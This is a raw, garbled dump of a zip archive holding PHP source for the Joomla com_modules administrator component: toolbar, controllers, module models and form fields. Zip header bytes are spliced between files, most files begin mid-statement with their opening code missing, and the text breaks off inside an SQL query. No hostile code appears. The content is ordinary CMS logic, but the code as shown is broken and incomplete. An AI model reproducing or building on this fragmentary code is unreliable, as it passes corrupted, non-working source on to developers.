JToolBarHelper::checkin('modules.checkin'); } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'modules.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('modules.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_modules'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_EXTENSIONS_MODULE_MANAGER'); } } PK@y>\).components/com_modules/views/modules/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_modules/views/modules/index.htmlnuW+A PK@y>\).components/com_modules/views/preview/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_modules/views/preview/index.htmlnuW+A PK@y>\Ou*TT2components/com_modules/views/preview/view.html.phpnuW+AassignRef('editor', $editor); parent::display($tpl); } } PK@y>\v5components/com_modules/views/preview/tmpl/default.phpnuW+A
PK@y>\V4components/com_modules/views/preview/tmpl/index.htmlnuW+A PK@y>\)3components/com_modules/views/preview/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\!D**"components/com_modules/modules.phpnuW+Aauthorise('core.manage', 'com_modules')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Modules'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\?@.components/com_modules/controllers/modules.phpnuW+AgetModel(); $model->duplicate($pks); $this->setMessage(JText::plural('COM_MODULES_N_MODULES_DUPLICATED', count($pks))); } catch (Exception $e) { JError::raiseWarning(500, $e->getMessage()); } $this->setRedirect('index.php?option=com_modules&view=modules'); } /** * Method to get a model object, loading it if required. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return object The model. * * @since 1.6 */ public function getModel($name = 'Module', $prefix = 'ModulesModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\),components/com_modules/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\̪-components/com_modules/controllers/module.phpnuW+Ainput->get('eid', 0, 'int'); if (empty($extensionId)) { $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.'&layout=edit', false)); return JError::raiseWarning(500, JText::_('COM_MODULES_ERROR_INVALID_EXTENSION')); } $app->setUserState('com_modules.add.module.extension_id', $extensionId); $app->setUserState('com_modules.add.module.params', null); // Parameters could be coming in for a new item, so let's set them. $params = $app->input->get('params', array(), 'array'); $app->setUserState('com_modules.add.module.params', $params); } /** * Override parent cancel method to reset the add module state. * * @param string $key The name of the primary key of the URL variable. * * @return boolean True if access level checks pass, false otherwise. * * @since 1.6 */ public function cancel($key = null) { // Initialise variables. $app = JFactory::getApplication(); $result = parent::cancel(); $app->setUserState('com_modules.add.module.extension_id', null); $app->setUserState('com_modules.add.module.params', null); return $result; } /** * Override parent allowSave method. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowSave($data, $key = 'id') { // use custom position if selected if (empty($data['position'])) { $data['position'] = $data['custom_position']; } unset($data['custom_position']); return parent::allowSave($data, $key); } /** * Method to run batch operations. * * @param string $model The model * * @return boolean True on success. * * @since 1.7 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Module', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_modules&view=modules'.$this->getRedirectToListAppend(), false)); return parent::batch($model); } /** * Function that allows child controller access to model data after the data has been saved. * * @param JModel &$model The data model object. * @param array $validData The validated data. * * @return void * * @since 1.6 */ protected function postSaveHook(JModel &$model, $validData = array()) { // Initialise variables. $app = JFactory::getApplication(); $task = $this->getTask(); switch ($task) { case 'save2new': $app->setUserState('com_modules.add.module.extension_id', $model->getState('module.extension_id')); break; default: $app->setUserState('com_modules.add.module.extension_id', null); break; } $app->setUserState('com_modules.add.module.params', null); } } PK@y>\V-components/com_modules/controllers/index.htmlnuW+A PK@y>\) components/com_modules/.htaccessnuW+A Order allow,deny Deny from all PK@y>\).components/com_modules/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\7components/com_modules/models/fields/moduleposition.phpnuW+Aelement['client_id']; if (!isset($clientId)) { $clientName = $this->element['client']; if (isset($clientName)) { $client = JApplicationHelper::getClientInfo($clientName, true); $clientId = $client->id; } } if (!isset($clientId) && $this->form instanceof JForm) { $clientId = $this->form->getValue('client_id'); } $clientId = (int) $clientId; // Load the modal behavior script. JHtml::_('behavior.modal', 'a.modal'); // Build the script. $script = array(); $script[] = ' function jSelectPosition_'.$this->id.'(name) {'; $script[] = ' document.id("'.$this->id.'").value = name;'; $script[] = ' SqueezeBox.close();'; $script[] = ' }'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Setup variables for display. $html = array(); $link = 'index.php?option=com_modules&view=positions&layout=modal&tmpl=component&function=jSelectPosition_'.$this->id.'&client_id='.$clientId; // The current user display field. $html[] = '
'; $html[] = parent::getInput(); $html[] = '
'; // The user select button. $html[] = '
'; $html[] = '
'; $html[] = ' '.JText::_('COM_MODULES_CHANGE_POSITION_BUTTON').''; $html[] = '
'; $html[] = '
'; return implode("\n", $html); } } PK@y>\V/components/com_modules/models/fields/index.htmlnuW+A PK@y>\7# 4components/com_modules/models/fields/moduleorder.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; $html[] = ''; return implode("\n", $html); } } PK@y>\il(components/com_modules/models/select.phpnuW+AgetUserState('com_modules.modules.filter.client_id', 0); $this->setState('filter.client_id', (int) $clientId); // Load the parameters. $params = JComponentHelper::getParams('com_modules'); $this->setState('params', $params); // Manually set limits to get all modules. $this->setState('list.limit', 0); $this->setState('list.start', 0); $this->setState('list.ordering', 'a.name'); $this->setState('list.direction', 'ASC'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.client_id'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.extension_id, a.name, a.element AS module' ) ); $query->from($db->quoteName('#__extensions').' AS a'); // Filter by module $query->where('a.type = '.$db->Quote('module')); // Filter by client. $clientId = $this->getState('filter.client_id'); $query->where('a.client_id = '.(int) $clientId); // Filter by enabled $query->where('a.enabled = 1'); // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } /** * Method to get a list of items. * * @return mixed An array of objects on success, false on failure. */ public function &getItems() { // Get the list of items from the database. $items = parent::getItems(); // Initialise variables. $client = JApplicationHelper::getClientInfo($this->getState('filter.client_id', 0)); $lang = JFactory::getLanguage(); // Loop through the results to add the XML metadata, // and load language support. foreach ($items as &$item) { $path = JPath::clean($client->path.'/modules/'.$item->module.'/'.$item->module.'.xml'); if (file_exists($path)) { $item->xml = simplexml_load_file($path); } else { $item->xml = null; } // 1.5 Format; Core files or language packs then // 1.6 3PD Extension Support $lang->load($item->module . '.sys', $client->path, null, false, true) || $lang->load($item->module . '.sys', $client->path . '/modules/' . $item->module, null, false, true); $item->name = JText::_($item->name); if (isset($item->xml) && $text = trim($item->xml->description)) { $item->desc = JText::_($text); } else { $item->desc = JText::_('COM_MODULES_NODESCRIPTION'); } } $items = JArrayHelper::sortObjects($items, 'name', 1, true, $lang->getLocale()); // TODO: Use the cached XML from the extensions table? return $items; } } PK@y>\V(components/com_modules/models/index.htmlnuW+A PK@y>\V.components/com_modules/models/forms/index.htmlnuW+A PK@y>\)-components/com_modules/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\%p .components/com_modules/models/forms/module.xmlnuW+A
PK@y>\)'components/com_modules/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Hcc(components/com_modules/models/module.phpnuW+AgetUserState('com_modules.add.module.extension_id')) { $this->setState('extension.id', $extensionId); } } $this->setState('module.id', $pk); // Load the parameters. $params = JComponentHelper::getParams('com_modules'); $this->setState('params', $params); } /** * Method to perform batch operations on a set of modules. * * @param array $commands An array of commands to perform. * @param array $pks An array of item ids. * @param array $contexts An array of item contexts. * * @return boolean Returns true on success, false on failure. * * @since 1.7 */ public function batch($commands, $pks, $contexts) { // Sanitize user ids. $pks = array_unique($pks); JArrayHelper::toInteger($pks); // Remove any values of zero. if (array_search(0, $pks, true)) { unset($pks[array_search(0, $pks, true)]); } if (empty($pks)) { $this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED')); return false; } $done = false; if (!empty($commands['position_id'])) { $cmd = JArrayHelper::getValue($commands, 'move_copy', 'c'); if (!empty($commands['position_id'])) { if ($cmd == 'c') { $result = $this->batchCopy($commands['position_id'], $pks, $contexts); if (is_array($result)) { $pks = $result; } else { return false; } } elseif ($cmd == 'm' && !$this->batchMove($commands['position_id'], $pks, $contexts)) { return false; } $done = true; } } if (!empty($commands['assetgroup_id'])) { if (!$this->batchAccess($commands['assetgroup_id'], $pks, $contexts)) { return false; } $done = true; } if (!empty($commands['language_id'])) { if (!$this->batchLanguage($commands['language_id'], $pks, $contexts)) { return false; } $done = true; } if (!$done) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION')); return false; } // Clear the cache $this->cleanCache(); return true; } /** * Batch copy modules to a new position or current. * * @param integer $value The new value matching a module position. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 11.1 */ protected function batchCopy($value, $pks, $contexts) { // Set the variables $user = JFactory::getUser(); $table = $this->getTable(); $i = 0; foreach ($pks as $pk) { if ($user->authorise('core.create', 'com_modules')) { $table->reset(); $table->load($pk); // Set the new position if ($value == 'noposition') { $position = ''; } elseif ($value == 'nochange') { $position = $table->position; } else { $position = $value; } $table->position = $position; // Alter the title if necessary $data = $this->generateNewTitle(0, $table->title, $table->position); $table->title = $data['0']; // Reset the ID because we are making a copy $table->id = 0; // Unpublish the new module $table->published = 0; if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; // Now we need to handle the module assignments $db = $this->getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('menuid')); $query->from($db->quoteName('#__modules_menu')); $query->where($db->quoteName('moduleid') . ' = ' . $pk); $db->setQuery($query); $menus = $db->loadColumn(); // Insert the new records into the table foreach ($menus as $menu) { $query->clear(); $query->insert($db->quoteName('#__modules_menu')); $query->columns(array($db->quoteName('moduleid'), $db->quoteName('menuid'))); $query->values($newId . ', ' . $menu); $db->setQuery($query); $db->query(); } } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE')); return false; } } // Clean the cache $this->cleanCache(); return $newIds; } /** * Batch move modules to a new position or current. * * @param integer $value The new value matching a module position. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 11.1 */ protected function batchMove($value, $pks, $contexts) { // Set the variables $user = JFactory::getUser(); $table = $this->getTable(); $i = 0; foreach ($pks as $pk) { if ($user->authorise('core.edit', 'com_modules')) { $table->reset(); $table->load($pk); // Set the new position if ($value == 'noposition') { $position = ''; } elseif ($value == 'nochange') { $position = $table->position; } else { $position = $value; } $table->position = $position; // Alter the title if necessary $data = $this->generateNewTitle(0, $table->title, $table->position); $table->title = $data['0']; // Unpublish the moved module $table->published = 0; if (!$table->store()) { $this->setError($table->getError()); return false; } } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT')); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Method to delete rows. * * @param array &$pks An array of item ids. * * @return boolean Returns true on success, false on failure. * * @since 1.6 */ public function delete(&$pks) { // Initialise variables. $pks = (array) $pks; $user = JFactory::getUser(); $table = $this->getTable(); // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { // Access checks. if (!$user->authorise('core.delete', 'com_modules') || $table->published != -2) { JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); // throw new Exception(JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); return; } if (!$table->delete($pk)) { throw new Exception($table->getError()); } else { // Delete the menu assignments $db = $this->getDbo(); $query = $db->getQuery(true); $query->delete(); $query->from('#__modules_menu'); $query->where('moduleid='.(int)$pk); $db->setQuery((string)$query); $db->query(); } // Clear module cache parent::cleanCache($table->module, $table->client_id); } else { throw new Exception($table->getError()); } } // Clear modules cache $this->cleanCache(); return true; } /** * Method to duplicate modules. * * @param array &$pks An array of primary key IDs. * * @return boolean True if successful. * * @since 1.6 * @throws Exception */ public function duplicate(&$pks) { // Initialise variables. $user = JFactory::getUser(); $db = $this->getDbo(); // Access checks. if (!$user->authorise('core.create', 'com_modules')) { throw new Exception(JText::_('JERROR_CORE_CREATE_NOT_PERMITTED')); } $table = $this->getTable(); foreach ($pks as $pk) { if ($table->load($pk, true)) { // Reset the id to create a new record. $table->id = 0; // Alter the title. $m = null; if (preg_match('#\((\d+)\)$#', $table->title, $m)) { $table->title = preg_replace('#\(\d+\)$#', '('.($m[1] + 1).')', $table->title); } else { $table->title .= ' (2)'; } // Unpublish duplicate module $table->published = 0; if (!$table->check() || !$table->store()) { throw new Exception($table->getError()); } // $query = 'SELECT menuid' // . ' FROM #__modules_menu' // . ' WHERE moduleid = '.(int) $pk // ; $query = $db->getQuery(true); $query->select('menuid'); $query->from('#__modules_menu'); $query->where('moduleid='.(int)$pk); $this->_db->setQuery((string)$query); $rows = $this->_db->loadColumn(); foreach ($rows as $menuid) { $tuples[] = '('.(int) $table->id.','.(int) $menuid.')'; } } else { throw new Exception($table->getError()); } } if (!empty($tuples)) { // Module-Menu Mapping: Do it in one query $query = 'INSERT INTO #__modules_menu (moduleid,menuid) VALUES '.implode(',', $tuples); $this->_db->setQuery($query); if (!$this->_db->query()) { return JError::raiseWarning(500, $this->_db->getErrorMsg()); } } // Clear modules cache $this->cleanCache(); return true; } /** * Method to change the title. * * @param integer $category_id The id of the category. Not used here. * @param string $title The title. * @param string $position The position. * * @return array Contains the modified title. * * @since 2.5 */ protected function generateNewTitle($category_id, $title, $position) { // Alter the title & alias $table = $this->getTable(); while ($table->load(array('position' => $position, 'title' => $title))) { $title = JString::increment($title); } return array($title); } /** * Method to get the client object * * @return void * * @since 1.6 */ function &getClient() { return $this->_client; } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return JForm A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // The folder and element vars are passed when saving the form. if (empty($data)) { $item = $this->getItem(); $clientId = $item->client_id; $module = $item->module; } else { $clientId = JArrayHelper::getValue($data, 'client_id'); $module = JArrayHelper::getValue($data, 'module'); } // These variables are used to add data from the plugin XML files. $this->setState('item.client_id', $clientId); $this->setState('item.module', $module); // Get the form. $form = $this->loadForm('com_modules.module', 'module', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } $form->setFieldAttribute('position', 'client', $this->getState('item.client_id') == 0 ? 'site' : 'administrator'); // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); $form->setFieldAttribute('publish_up', 'disabled', 'true'); $form->setFieldAttribute('publish_down', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); $form->setFieldAttribute('publish_up', 'filter', 'unset'); $form->setFieldAttribute('publish_down', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 */ protected function loadFormData() { $app = JFactory::getApplication(); // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_modules.edit.module.data', array()); if (empty($data)) { $data = $this->getItem(); // This allows us to inject parameter settings into a new module. $params = $app->getUserState('com_modules.add.module.params'); if (is_array($params)) { $data->set('params', $params); } } return $data; } /** * Method to get a single record. * * @param integer $pk The id of the primary key. * * @return mixed Object on success, false on failure. * * @since 1.6 */ public function getItem($pk = null) { // Initialise variables. $pk = (!empty($pk)) ? (int) $pk : (int) $this->getState('module.id'); $db = $this->getDbo(); if (!isset($this->_cache[$pk])) { $false = false; // Get a row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($pk); // Check for a table object error. if ($return === false && $error = $table->getError()) { $this->setError($error); return $false; } // Check if we are creating a new extension. if (empty($pk)) { if ($extensionId = (int) $this->getState('extension.id')) { $query = $db->getQuery(true); $query->select('element, client_id'); $query->from('#__extensions'); $query->where('extension_id = '.$extensionId); $query->where('type = '.$db->quote('module')); $db->setQuery($query); $extension = $db->loadObject(); if (empty($extension)) { if ($error = $db->getErrorMsg()) { $this->setError($error); } else { $this->setError('COM_MODULES_ERROR_CANNOT_FIND_MODULE'); } return false; } // Extension found, prime some module values. $table->module = $extension->element; $table->client_id = $extension->client_id; } else { $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_modules&view=modules', false)); return false; } } // Convert to the JObject before adding other data. $properties = $table->getProperties(1); $this->_cache[$pk] = JArrayHelper::toObject($properties, 'JObject'); // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($table->params); $this->_cache[$pk]->params = $registry->toArray(); // Determine the page assignment mode. $db->setQuery( 'SELECT menuid' . ' FROM #__modules_menu' . ' WHERE moduleid = '.$pk ); $assigned = $db->loadColumn(); if (empty($pk)) { // If this is a new module, assign to all pages. $assignment = 0; } elseif (empty($assigned)) { // For an existing module it is assigned to none. $assignment = '-'; } else { if ($assigned[0] > 0) { $assignment = +1; } elseif ($assigned[0] < 0) { $assignment = -1; } else { $assignment = 0; } } $this->_cache[$pk]->assigned = $assigned; $this->_cache[$pk]->assignment = $assignment; // Get the module XML. $client = JApplicationHelper::getClientInfo($table->client_id); $path = JPath::clean($client->path.'/modules/'.$table->module.'/'.$table->module.'.xml'); if (file_exists($path)) { $this->_cache[$pk]->xml = simplexml_load_file($path); } else { $this->_cache[$pk]->xml = null; } } return $this->_cache[$pk]; } /** * Get the necessary data to load an item help screen. * * @return object An object with key, url, and local properties for loading the item help screen. * * @since 1.6 */ public function getHelp() { return (object) array('key' => $this->helpKey, 'url' => $this->helpURL); } /** * Returns a reference to the a Table object, always creating it. * * @param string $type The table type to instantiate * @param string $prefix A prefix for the table class name. Optional. * @param array $config Configuration array for model. Optional. * * @return JTable A database object * * @since 1.6 */ public function getTable($type = 'Module', $prefix = 'JTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Prepare and sanitise the table prior to saving. * * @param JTable &$table The database object * * @return void * * @since 1.6 */ protected function prepareTable(&$table) { $date = JFactory::getDate(); $user = JFactory::getUser(); $table->title = htmlspecialchars_decode($table->title, ENT_QUOTES); $table->position = trim($table->position); if (empty($table->id)) { // Set the values //$table->created = $date->toSql(); } else { // Set the values //$table->modified = $date->toSql(); //$table->modified_by = $user->get('id'); } } /** * Method to preprocess the form * * @param JForm $form A form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @since 1.6 * @throws Exception if there is an error loading the form. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); // Initialise variables. $lang = JFactory::getLanguage(); $clientId = $this->getState('item.client_id'); $module = $this->getState('item.module'); $client = JApplicationHelper::getClientInfo($clientId); $formFile = JPath::clean($client->path.'/modules/'.$module.'/'.$module.'.xml'); // Load the core and/or local language file(s). $lang->load($module, $client->path, null, false, true) || $lang->load($module, $client->path . '/modules/' . $module, null, false, true); if (file_exists($formFile)) { // Get the module form. if (!$form->loadFile($formFile, false, '//config')) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/extension/help'); if (!empty($help)) { $helpKey = trim((string) $help[0]['key']); $helpURL = trim((string) $help[0]['url']); $this->helpKey = $helpKey ? $helpKey : $this->helpKey; $this->helpURL = $helpURL ? $helpURL : $this->helpURL; } } // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * Loads ContentHelper for filters before validating data. * * @param object $form The form to validate against. * @param array $data The data to validate. * * @return mixed Array of filtered data if valid, false otherwise. * * @since 1.1 */ function validate($form, $data, $group = null) { require_once JPATH_ADMINISTRATOR.'/components/com_content/helpers/content.php'; return parent::validate($form, $data, $group); } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 1.6 */ public function save($data) { // Initialise variables; $dispatcher = JDispatcher::getInstance(); $table = $this->getTable(); $pk = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('module.id'); $isNew = true; // Include the content modules for the onSave events. JPluginHelper::importPlugin('extension'); // Load the row if saving an existing record. if ($pk > 0) { $table->load($pk); $isNew = false; } // Alter the title and published state for Save as Copy if (JRequest::getVar('task') == 'save2copy') { $orig_data = JRequest::getVar('jform', array(), 'post', 'array'); $orig_table = clone($this->getTable()); $orig_table->load((int) $orig_data['id']); if ($data['title'] == $orig_table->title) { $data['title'] .= ' '.JText::_('JGLOBAL_COPY'); $data['published'] = 0; } } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Prepare the row for saving $this->prepareTable($table); // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the onExtensionBeforeSave event. $result = $dispatcher->trigger('onExtensionBeforeSave', array('com_modules.module', &$table, $isNew)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } // // Process the menu link mappings. // $assignment = isset($data['assignment']) ? $data['assignment'] : 0; // Delete old module to menu item associations // $db->setQuery( // 'DELETE FROM #__modules_menu'. // ' WHERE moduleid = '.(int) $table->id // ); $db = $this->getDbo(); $query = $db->getQuery(true); $query->delete(); $query->from('#__modules_menu'); $query->where('moduleid = '.(int)$table->id); $db->setQuery((string)$query); $db->query(); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } // If the assignment is numeric, then something is selected (otherwise it's none). if (is_numeric($assignment)) { // Variable is numeric, but could be a string. $assignment = (int) $assignment; // Logic check: if no module excluded then convert to display on all. if ($assignment == -1 && empty($data['assigned'])) { $assignment = 0; } // Check needed to stop a module being assigned to `All` // and other menu items resulting in a module being displayed twice. if ($assignment === 0) { // assign new module to `all` menu item associations // $this->_db->setQuery( // 'INSERT INTO #__modules_menu'. // ' SET moduleid = '.(int) $table->id.', menuid = 0' // ); $query->clear(); $query->insert('#__modules_menu'); $query->columns(array($db->quoteName('moduleid'), $db->quoteName('menuid'))); $query->values((int)$table->id . ', 0'); $db->setQuery((string)$query); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } } elseif (!empty($data['assigned'])) { // Get the sign of the number. $sign = $assignment < 0 ? -1 : +1; // Preprocess the assigned array. $tuples = array(); foreach ($data['assigned'] as &$pk) { $tuples[] = '('.(int) $table->id.','.(int) $pk * $sign.')'; } $this->_db->setQuery( 'INSERT INTO #__modules_menu (moduleid, menuid) VALUES '. implode(',', $tuples) ); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } } } // Trigger the onExtensionAfterSave event. $dispatcher->trigger('onExtensionAfterSave', array('com_modules.module', &$table, $isNew)); // Compute the extension id of this module in case the controller wants it. $query = $db->getQuery(true); $query->select('extension_id'); $query->from('#__extensions AS e'); $query->leftJoin('#__modules AS m ON e.element = m.module'); $query->where('m.id = '.(int) $table->id); $db->setQuery($query); $extensionId = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return; } $this->setState('module.extension_id', $extensionId); $this->setState('module.id', $table->id); // Clear modules cache $this->cleanCache(); // Clean module cache parent::cleanCache($table->module, $table->client_id); return true; } /** * A protected method to get a set of ordering conditions. * * @param object $table A record object. * * @return array An array of conditions to add to add to ordering queries. * * @since 1.6 */ protected function getReorderConditions($table) { $condition = array(); $condition[] = 'client_id = '.(int) $table->client_id; $condition[] = 'position = '. $this->_db->Quote($table->position); return $condition; } /** * Custom clean cache method for different clients * * @return void * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('com_modules', $this->getClient()); } } PK@y>\%G$$)components/com_modules/models/modules.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $position = $this->getUserStateFromRequest($this->context.'.filter.position', 'filter_position', '', 'string'); $this->setState('filter.position', $position); $module = $this->getUserStateFromRequest($this->context.'.filter.module', 'filter_module', '', 'string'); $this->setState('filter.module', $module); $clientId = $this->getUserStateFromRequest($this->context.'.filter.client_id', 'filter_client_id', 0, 'int', false); $previousId = $app->getUserState($this->context.'.filter.client_id_previous', null); if($previousId != $clientId || $previousId === null){ $this->getUserStateFromRequest($this->context.'.filter.client_id_previous', 'filter_client_id_previous', 0, 'int', true); $app->setUserState($this->context.'.filter.client_id_previous', $clientId); } $this->setState('filter.client_id', $clientId); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Load the parameters. $params = JComponentHelper::getParams('com_modules'); $this->setState('params', $params); // List state information. parent::populateState('position', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.state'); $id .= ':'.$this->getState('filter.position'); $id .= ':'.$this->getState('filter.module'); $id .= ':'.$this->getState('filter.client_id'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Returns an object list * * @param string The query * @param int Offset * @param int The number of records * @return array */ protected function _getList($query, $limitstart=0, $limit=0) { $ordering = $this->getState('list.ordering', 'ordering'); if (in_array($ordering, array('pages', 'name'))) { $this->_db->setQuery($query); $result = $this->_db->loadObjectList(); $this->translate($result); $lang = JFactory::getLanguage(); JArrayHelper::sortObjects($result, $ordering, $this->getState('list.direction') == 'desc' ? -1 : 1, true, $lang->getLocale()); $total = count($result); $this->cache[$this->getStoreId('getTotal')] = $total; if ($total < $limitstart) { $limitstart = 0; $this->setState('list.start', 0); } return array_slice($result, $limitstart, $limit ? $limit : null); } else { if ($ordering == 'ordering') { $query->order('a.position ASC'); $ordering = 'a.ordering'; } if ($ordering == 'language_title') { $ordering = 'l.title'; } $query->order($this->_db->quoteName($ordering) . ' ' . $this->getState('list.direction')); if ($ordering == 'position') { $query->order('a.ordering ASC'); } $result = parent::_getList($query, $limitstart, $limit); $this->translate($result); return $result; } } /** * Translate a list of objects * * @param array The array of objects * @return array The array of translated objects */ protected function translate(&$items) { $lang = JFactory::getLanguage(); $client = $this->getState('filter.client_id') ? 'administrator' : 'site'; foreach($items as $item) { $extension = $item->module; $source = constant('JPATH_' . strtoupper($client)) . "/modules/$extension"; $lang->load("$extension.sys", constant('JPATH_' . strtoupper($client)), null, false, true) || $lang->load("$extension.sys", $source, null, false, true); $item->name = JText::_($item->name); if (is_null($item->pages)) { $item->pages = JText::_('JNONE'); } elseif ($item->pages < 0) { $item->pages = JText::_('COM_MODULES_ASSIGNED_VARIES_EXCEPT'); } elseif ($item->pages > 0) { $item->pages = JText::_('COM_MODULES_ASSIGNED_VARIES_ONLY'); } else { $item->pages = JText::_('JALL'); } } } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.title, a.note, a.position, a.module, a.language,' . 'a.checked_out, a.checked_out_time, a.published+2*(e.enabled-1) as published, a.access, a.ordering, a.publish_up, a.publish_down' ) ); $query->from($db->quoteName('#__modules').' AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the module menus $query->select('MIN(mm.menuid) AS pages'); $query->join('LEFT', '#__modules_menu AS mm ON mm.moduleid = a.id'); // Join over the extensions $query->select('e.name AS name'); $query->join('LEFT', '#__extensions AS e ON e.element = a.module'); $query->group('a.id, a.title, a.note, a.position, a.module, 